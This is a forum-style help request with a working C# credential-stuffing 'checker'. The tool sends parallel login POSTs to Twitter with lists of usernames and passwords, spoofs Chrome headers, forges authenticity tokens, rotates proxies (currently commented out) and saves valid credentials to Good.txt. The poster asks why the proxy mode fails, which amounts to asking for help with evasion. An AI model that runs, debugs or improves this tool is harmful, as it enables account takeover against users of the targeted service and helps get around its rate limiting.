I wrote a checker program. If I run the program without a proxy, but with Fiddler running in parallel, everything works correctly. If I start the program with proxies (it doesn't matter if I run Fiddler in parallel) or without Fiddler, then the program checks 2 accounts and gives me the error "System.Net.ProtocolViolationException". My code:
Parallel.ForEach(Logins, new ParallelOptions() { MaxDegreeOfParallelism = MXP }, proxy =>
{
int period = 0;
lock (obj)
{
period = r;
r++;
}
HttpWebRequest req = WebRequest.CreateHttp("https://something_interesting_website");
req.Method = "POST";
Random random = new Random();
restart:
try
{
// WebProxy proxyreq = new WebProxy(msproxy[random.Next(0, msproxy.Length - 1)]);
// req.Proxy = proxyreq;
req.ContentType = "application/x-www-form-urlencoded";
req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36";
req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9";
req.AllowAutoRedirect = true;
req.Headers.Add("Upgrade-Insecure-Requests", "1");
req.Headers.Add("sec-ch-ua", "\"Google Chrome\";v=\"87\", \" Not;A Brand\";v=\"99\", \"Chromium\";v=\"87\"");
req.Headers.Add("sec-ch-ua-mobile", "?0");
req.Headers.Add("Sec-Fetch-Site", "same-origin");
req.Headers.Add("Sec-Fetch-Mode", "navigate");
req.Headers.Add("Sec-Fetch-User", "?1");
req.Headers.Add("Sec-Fetch-Dest", "document");
req.Headers.Add("Accept-Language", "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7,uk;q=0.6");
req.Headers.Add("Accept-Encoding", "gzip, deflate, br");
req.CookieContainer = new CookieContainer();
string _mb_tk = "04" + random.Next(0, 9) + "75es0" + random.Next(0, 9) + "b8c11eb9" + random.Next(0, 9) + "f8836465b" + random.Next(0, 9) + "5c7f";
req.CookieContainer.Add(new Cookie("_mb_tk", _mb_tk, "/", ".twitter.com"));
string str = "redirect_after_login=%2F&remember_me=1&authenticity_token=" + _mb_tk + "&wfa=1&ui_metrics=%7B%22rf%22%3A%7B%22e2f83286fa91ed5f43525f18931b12a9c291c27fc2" + random.Next(0, 9) +"081ebd7d9671" + random.Next(0, 9) + "0b6fb0b6%22%3A0%2C%22a76dbd0a4946fd2b43bf9288f1e7509a60143ba7a8b548692d2189f5702f6bc4%22%3A-1%2C%22afc0724e0689fffcff6fa6e10f90bfdc94548e85c656181cadbdd64b8b32e0d9%22%3A-1%2C%22a5b7ae2c6f71c889b674bf4f7d5f3bff3c7825ee330d797a26ba24b8c540dd9d%22%3A0%7D%2C%22s%22%3A%225Z9GFrKBbu6XDFeeK8woy6CmC--07MNld3hRs9OyuE7fk_3zSQWh15-ZfluU2SNzXVpMTykPfo3XZxz3hgYeNt6XXl6iQjkRdM7VCu3KWEq5vIGDc_IE_gdg7qUB5AeXpWC0d4bMg7HSMIwHXxkPg9012OulG1SjZh4dbbpnW0o4d5wFO4LP6E3CBHyfQaH5w3GcywnvQPeGocrRiU9RiPwzbak0O4NAaDvGp9Ly6kjY-X0EQp0W1AOdT7Bzqb9pRnYjRM_3P2ne2B6-JPhVSVXwg97FQlomKnZsSsDpZ" + random.Next(0,9) + "PAW7wujiI--DPeOzQeB_ZZbfwzoh9wSbfCTK9QgrWYmQAAAXa5zas3%22%7D&session%5Busername_or_email%5D=" + Logins[period] + "&session%5Bpassword%5D=" + Passwords[period];
byte[] newbytestr = Encoding.ASCII.GetBytes(str);
using (var sw = req.GetRequestStream())
{
sw.Write(newbytestr, 0, newbytestr.Length);
}
HttpWebResponse response = (HttpWebResponse)req.GetResponse();
var cookies_collection = response.Cookies;
for (int i = 0; i < cookies_collection.Count; i++)
{
if (cookies_collection[i].Name == "ct0")
{
lock (obj)
{
Console.WriteLine("{0}, {1} - Is Valid!", Logins[period], Passwords[period]);
fsgood = new FileStream(Directory.GetCurrentDirectory() + "\\Good.txt", FileMode.Append);
StreamWriter srgood = new StreamWriter(fsgood);
srgood.WriteLine(Logins[period] + ":" + Passwords[period]);
srgood.Dispose();
}
return;
}
}
lock (obj)
{
fsbad = new FileStream(Directory.GetCurrentDirectory() + "\\Bad.txt", FileMode.Append);
StreamWriter srbad = new StreamWriter(fsbad);
srbad.WriteLine(Logins[period] + ":" + Passwords[period]);
srbad.Dispose();
}
Console.WriteLine("{0}, {1} - Not Valid!!", Logins[period], Passwords[period]);
}
catch(System.Net.WebException)
{
goto restart;
}
});
Task.WaitAll();
Console.WriteLine("Нажмите любую клавишу для того, чтобы выйти из программы.");
Console.ReadLine();
}
}
Aucun commentaire:
Enregistrer un commentaire